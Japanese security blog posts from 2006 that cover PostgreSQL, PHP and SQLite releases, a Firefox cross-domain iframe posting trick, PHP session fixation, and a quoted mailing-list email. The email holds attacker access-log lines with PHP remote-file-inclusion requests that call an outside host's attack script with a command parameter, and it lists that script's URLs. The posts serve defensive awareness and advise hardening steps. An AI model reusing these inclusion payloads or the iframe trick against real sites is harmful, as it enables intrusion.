PostgreSQL 8.1.2, 8.0.6, 7.4.11 と 7.3.13がリリースされています。
8.0と8.1の変更
— Character string locale comparison bug. This may require a REINDEX
on text column indexes in some locales, such as Hungarian.
— Prevent accidental changes of locale by plperl
— Two fixes for Japanese encodings
— Two fixes for COPY CSV
— Fixes for functions returning RECORD
— Fixes to autovacuum, dblink and pgcrypto
pgsql-jpに載っていますが問題が発生した場合分かりづらい日本語エンコーディング問題の修正が含まれています。
PHP 4.4.2がリリースされました。
* Prevent header injection by limiting each header to a single line.
* Possible XSS inside error reporting functionality.
* Missing safe_mode/open_basedir checks into cURL extension.
* Apache 2 regression with sub-request handling on non-Linux systems.
* key() and current() regression related to references.
全部だったか覚えていませんが廣川さんがコミットしたmbstringモジュールの修正も含まれているはずです。
FirefoxがIFRAME内だとクロスドメインポストに警告を表示しない、という問題。
[Full-disclosure] Firefox 1.5 allow cross-domain posting to secured pages
just drop a hidden IFRAME in the form, set its src to username:password@123.com and Firefox is fooled into thinking that it is not a cross-domain posting. So no warning pops up. You can also drop the U/P on the URL in the forms action since the IFRAME has already logged in.
例としてデフォルトユーザ/パスワードのルータのFirewallを解除できるとしています。デフォルトユーザ/パスワードのままのルータは直接攻撃が可能なのですが、攻撃元を判り辛くするためにクラックしたWebサーバに攻撃用ページを作って、という事が考えられるかな。
SQLite 3.3は結構変わりますね。
Alphaなのでデフォルトの仕様は変わるかもしれませんが3.3は3.x系列のファイルは読めるが、3.3より以前のバージョンのSQLiteでは読めない、という点には注意が必要ですね。
* CHECK constraints are now enforced.
* The IF [NOT] EXISTS syntax of MySQL is now recognized on
CREATE/DROP TABLE/INDEX statements.* DESC indices really are descending now. The DESC keyword
on index definitions used to be ignored.* The database file format has changed slightly to more
compactly represent boolean values and to support DESC
indices. Version 3.3.0 will read and write all prior
version 3 databases. But new databases created by
version 3.3.0 will not be readable by older versions
of SQLite. If this is a problem for your application,
compile SQLite using-DSQLITE_DEFAULT_FILE_FORMAT=1
and then version 3.3.0 will create new databases in
the legacy format understood by all prior versions of
SQLite. DESC indices only work in the new format.* SQLite now distinguishes between REAL and INTEGER columns
and attempts to make appropriate conversions.* The OS-interface layer has been modified for greater
flexibility and control of custom ports and implementations.* SQLite now responses better to out-of-memory errors. The
library will recover and reset itself automatically. There
is no longer a need to call sqlite3_global_recover(). The
new sqlite3_enable_memory_management() API can be used to put
SQLite into a mode where it will automatically try to reduce
its database cache size when it comes under memory pressure.* The database cache and parsed schema information can now
optionally be shared between two or more database connections.
This can be used to reduce I/O and to improve concurrency.
On a database using a shared cache, you can specify
READ UNCOMMITTED isolation as an option (the default is
SERIALIZABLE). With READ UNCOMMITTED, a reader will not
block or be blocked by a writer and you will never get
an SQLITE_BUSY error on a read.
重要なセキュリティフィックスが含まれています。
* HTTP Response Splitting has been addressed in ext/session and in the header() function.
* Fixed format string vulnerability in ext/mysqli.
* Fixed possible cross-site scripting problems in certain error conditions.
* Hash & XMLWriter extensions added and enabled by default.
* Upgraded OCI8 extension.
* Over 85 various bug fixes.
最近のキャッシュサーバやクライアントはHTTP Response Splitting攻撃にある程度強くなっている、とはいえサーバの不備はサーバ管理者の責任ですから5.1を使っている方はアップグレードした方が良いと思います。
関連エントリ：
https://www.codeblog.org/blog/yohgaki/?date=20060113
Codeblogというプロジェクトに協力させていただく事になりました。
こちらの個人用ブログも更新しますがあまり更新されてない場合などはcodeblogの方もご覧ください。
webappsecでこんなメールを見かけました。
For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.202.226.224.67 – – [08/Jan/2006:21:32:43 -0500] “GET / HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35” 202.226.224.67 – – [08/Jan/2006:21:32:44 -0500] “GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:45 -0500] “GET /webservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24083 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:46 -0500] “GET /phishing/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 30626 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:47 -0500] “GET /database/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24267 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:48 -0500] “GET /appservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24521 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:49 -0500] “GET //lib/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 47471 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:50 -0500] “GET /archive/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 25445 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:51 -0500] “GET /development/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24286 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:52 -0500] “GET /ws/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29316 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:53 -0500] “GET //pen-test/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29892 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:54 -0500] “GET /ajax/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 28338 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:55 -0500] “GET /appfirewall/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24073 “-” “lwp-trivial/1.35”The script located at www.sanicentrum.be might interest some of you, as well as the include file it uses at http://www.sanicentrum.be/private/therules25.dot
and the many scripts it uses/looks for.Working Referenced Links
* http://www.sanicentrum.be/private/tool25.dot
* http://www.sanicentrum.be/private/writer25.dot
* http://www.sanicentrum.be/private/get25.dot
* http://www.sanicentrum.be/private/filed25.dot
* http://www.sanicentrum.be/private/filed_put25.dot (Of Interest)
* http://www.sanicentrum.be/private/copyd25.dot
* http://www.sanicentrum.be/private/flist25.dot
* http://www.sanicentrum.be/private/style25.dot (Because every defacement group needs html templating :)Non working (at this time)
* http://www.sanicentrum.be/private/safe25.dotI’ve contacted sans since the parent host *appears* to be hacked.
– Robert
http://www.cgisecurity.com/ Website Security News, and more!
http://www.cgisecurity.com/index.rss [RSS Feed]——————————————————————————-
Watchfire’s AppScan is the industry’s first and leading web application
security testing suite, and the only solution to provide comprehensive
remediation tasks at every level of the application. See for yourself.
Download AppScan 6.0 today.https://www.watchfire.com/securearea/appscansix.aspx?id=701300000003Ssh
——————————————————————————-
Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。
スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。
Graphics Rendering Engine の脆弱性によりコードが実行される可能性がある (912919) (MS06-001) の対応ですがWindowsUpdateにも対応しています。確かにインストールしてましたね。
関連：
ログオン時にインストールできるWMF Hotfix
http://blog.ohgaki.net/index.php/yohgaki/2006/01/03/a_sa_da_oa_sa_a_la_ca_sa_sa_a_fa_la_sa_a
SpamメールでのWMF攻撃
http://blog.ohgaki.net/index.php/yohgaki/2006/01/02/spama_ia_fa_la_sa_rwmfa_ra
少し前に「やはり、まだある単純リモートスクリプト実行バグ..」と書いていますが、まだあるどころか「まだまだ出てくる」という感じですです。
まず、phpDocumentator、これのテスト用スクリプトにはリモートファイルを実行できるバグがあります。それから、onBoardこれも全く同じくリモートコードを実行できるバグがあります。
onBoardはよく知りませんが、phpDocumentatorは広く使われていると思います。クラックされる可能性が高いのでテスト用コードは削除しておきましょう。（と言うより普通はphpDocumentatorを公開する必要がないので、非公開にしましょう。これ以外にテスト用スクリプトにはリモートスクリプト実行以外にもXSS問題も指摘されています。）
前のブログで当然直っていると思っていたphp://input問題が修正されていない旨のコメントを頂きました。驚いたことに本当に修正されていません。ですからallow_url_fopen=offすればリモートコードの実行は防げますが、リモートからのコードインジェクションは防げません。
php://inputは生のPOSTデータ扱うときに使えるから、などと言っている場合ではないのですが… php://inputを導入した事により今まで無かった脆弱性を作っているは明らかなのですけどね… 新しい脆弱性が仕様です（しかも簡単に直せる）と言うのは受け入れがたいですね。
随分前から販売しているようですが初めて見ました。
大出力容量(VA/W) 2000/1200 21,800円(税込)
大出力容量(VA/W) 1400/840 15,800円(税込)
大出力容量(VA/W) 500/300 6,980円(税込)
有名（？）な激安楽器販売店だそうです。
あまりに安いので調べてみると次のようなページがありました。
http://sheltie.ddo.jp/~kojima/ups/
テストした当時の製品へのURLは変更になっているようです。
2004年2月のデータのようなので今の出力はどうなのか気になりますね。
http://72.14.203.104/search?q=cache:mH2cJuFFQhAJ:lower.seesaa.net/category/415216.html+%22classic+pro%22+UPS2000&hl=ja
を見るとさすが激安製品専門ブログのオーナ、UPS500を使っている（いた?）そうです。
パソコン用として、私はこの一年、CLASSIC PRO UPS500というUPSを使っております。300Ｗの最大出力容量ですが6,980円と新品UPSとしてはかなり安く、バッテリーも3,000円で販売されています。値段が安く外観がしょぼいので最初は不安だったのですが、この一年は特に問題になるようなことはありませんでした。
精神衛生上できればUPSを付けたいけど付けていないような機器には買いたくなるような値段ですが、付けたくないような波形です。上位機種の2000VA、1400VAの製品は外観からして違うのでどなたかテストしていないかな?
書いてみるとプログラミング入門書はどう書くか結構悩みます。自分の場合、割り切って多少本当にはじめての人に分かり辛くても出来るだけ本当に必要と思われる項目を十分に説明するように配慮しました。イメージ通りの仕上がりとは言えませんが、それなりの出来と思います。amazon.co.jpを見れば分かりますが、予想通り評価は分かれましたが :)
セキュリティ系の入門書もどう書くか結構悩みます。今回も結構割り切って書いています。また今回も評価は分かれるかと思います。今回の予想、前の本と反対の評価になりそうな気がします。どんな本でも同じとは思いますが、どの読者層に対して書くか、決めるのは難しいですね。
/.Jの投稿で気が付いたのですが前に書いた「Mambo, Coppermine, PHPBBが攻撃対象に」でワームが活動している記載しましたが、日本のサーバでも感染しているらしいです。
http://www.merit.edu/mail.archives/nanog/msg14612.html
ネットワークブロックが記載されています。対象のアプリケーションを使っている方は確認された方がよいと思います。
# XMLRPCの対策をされていない方も直ぐに対策が必要です。
リモートから攻撃可能な脆弱性が公開されてからパッチが当てられていない期間(unsafeな期間）を調査したレポートがあるそうです。
http://bcheck.scanit.be/bcheck/page.php?name=STATS2004
詳しく脆弱性の公開日とパッチ公開日が記載されています。
MSIE was 98% unsafe. There were only 7 days in 2004 without an unpatched publicly disclosed security hole.
Firefox was 15% unsafe. There were 56 days with an unpatched publicly disclosed security hole. 30 of those days were a Mac hole that only affected Mac users. Windows Firefox was 7% unsafe.
Opera was 17% unsafe: 65 days. That number is accidentally a little better than it should be, as two of the upatched periods happened to overlap.
しかし、2004年の事とはいえ98%は安全ではなかったとは想像以上に悪いですね、IEは。
2005年のレポートがどうなるか非常に興味があります。
NSAがメールを盗聴（メールのみではなくエシュロンでありとあらゆる通信を傍受している）している事は有名ですが、盗聴されているか確認する手法の紹介です。
秘密のURLを使って盗聴を検知する手法です。
この方法だとNSAが盗聴を実行しているか確認できます。会社のシステム管理者が従業員を監視しているか確認する方法に応用されそうな気がします。
しかし、テロリストは暗号化しないでメールでやり取りしているのでしょうか?案外テキトーに平文で通信しているのでしょうか? 現状では暗号化しているだけで目立つので暗号化したメールの方がテロリストには危険なのかも知れません。
Hardedned PHPプロジェクトのStefan EsserさんがPHP SESSIONをより安全に運用するパッチを公開しています。
このパッチはPHPのセッション管理の問題に対応します。PHPのSESSIONモジュールがSession Fixation（セッションIDの固定化）に対して脆弱であることは随分前から広く（？）知られていました。このパッチを適用すればSession Fixation問題も随分改善します。
例えば、PHP SESSIONを利用しているサイトで
http://example.jp/index.php
と言うURLがクッキーを利用したセッション管理行っているとします。セッションデータが初期化されサーバに保存されているか、されていないかに関わらず、ブラウザが送信したクッキーによって指定されたセッションIDがそのまま使われます。このパッチはセッションIDのデータが無ければ、セッションIDを再生成してセッションを開始するよう動作が変わります。（通常のPHPのセッション管理はpermissiveなセッション管理と呼ばれています。パッチ適用後はstrictなセッション管理も選択できるようになります。）クッキーだけを使ったセッション管理では、セッションIDが固定化する問題はあまり深刻な問題ではありませんが、好ましい動作とは言いがたいです。
session.use_only_cookiesがoffの場合、問題は深刻です。
http://example.jp/index.php?PHPSESSID=123456
とすると、セッションデータが無い場合、セッションIDが123456になってしまいます。session.use_cookies=on設定（デフォルト値）でクッキーを利用するセッション管理でも、PHPSESSID=123456をクッキーに設定されます。つまり、デフォルトの状態のPHPのセッション管理はsession.use_only_cookiesがoffである為、普通にSession Fixationに脆弱になってしまいます。一応、サイト外のURLに埋め込まれたセッションIDを受け付けないようにするsession.referer_check設定もあるのですが、REFERERを使っているので十分な対策とはいえません。許可するドメインなどを記載する設定項目なので、当然ですが、デフォルトでは何も設定されていません。何も設定されていない時はREFERERチェックは行われません。
追記：色々書いていますが、要するにデフォルト設定のPHPだとSession Fixationに脆弱である、と言うことです。
より厳格なセッションID管理を行うには、パッチを適用後、
session.use_strict_mode = on
と設定するだけです。
このパッチを適用するとユーザ定義セッションセーブハンドラで以下の2つの関数が利用（定義）できるようになります。
string create_sid()
bool validate_sid($key)
create_sid関数は新しいセッションIDを作成します。
validate_sid関数は$keyが正しいかチェックします。
ところで、デフォルトではsession.use_only_cookiesはoffに設定されています。しかし、普通のサイトはsession.use_only_cookiesはONで運用するべきです。もし、offで運用されている場合、強くONに変更して運用することをお勧めします。先ほども書きましたが、session.use_only_cookies=onであればSession Fixation問題はそれほど重大な問題とは言えません。パッチを適用していない場合でもsession.use_only_cookies=onであればそれほど心配する必要はありません。
# 随分古いInternet ExplorerではXMLHttpRequestで他のサイトにリクエスト
# を送信できたりしました。しかし、今は出来ないのでクッキーを利用した
# セッション管理に対して効果的なSession Fixation攻撃は出来ないと思い
# ます。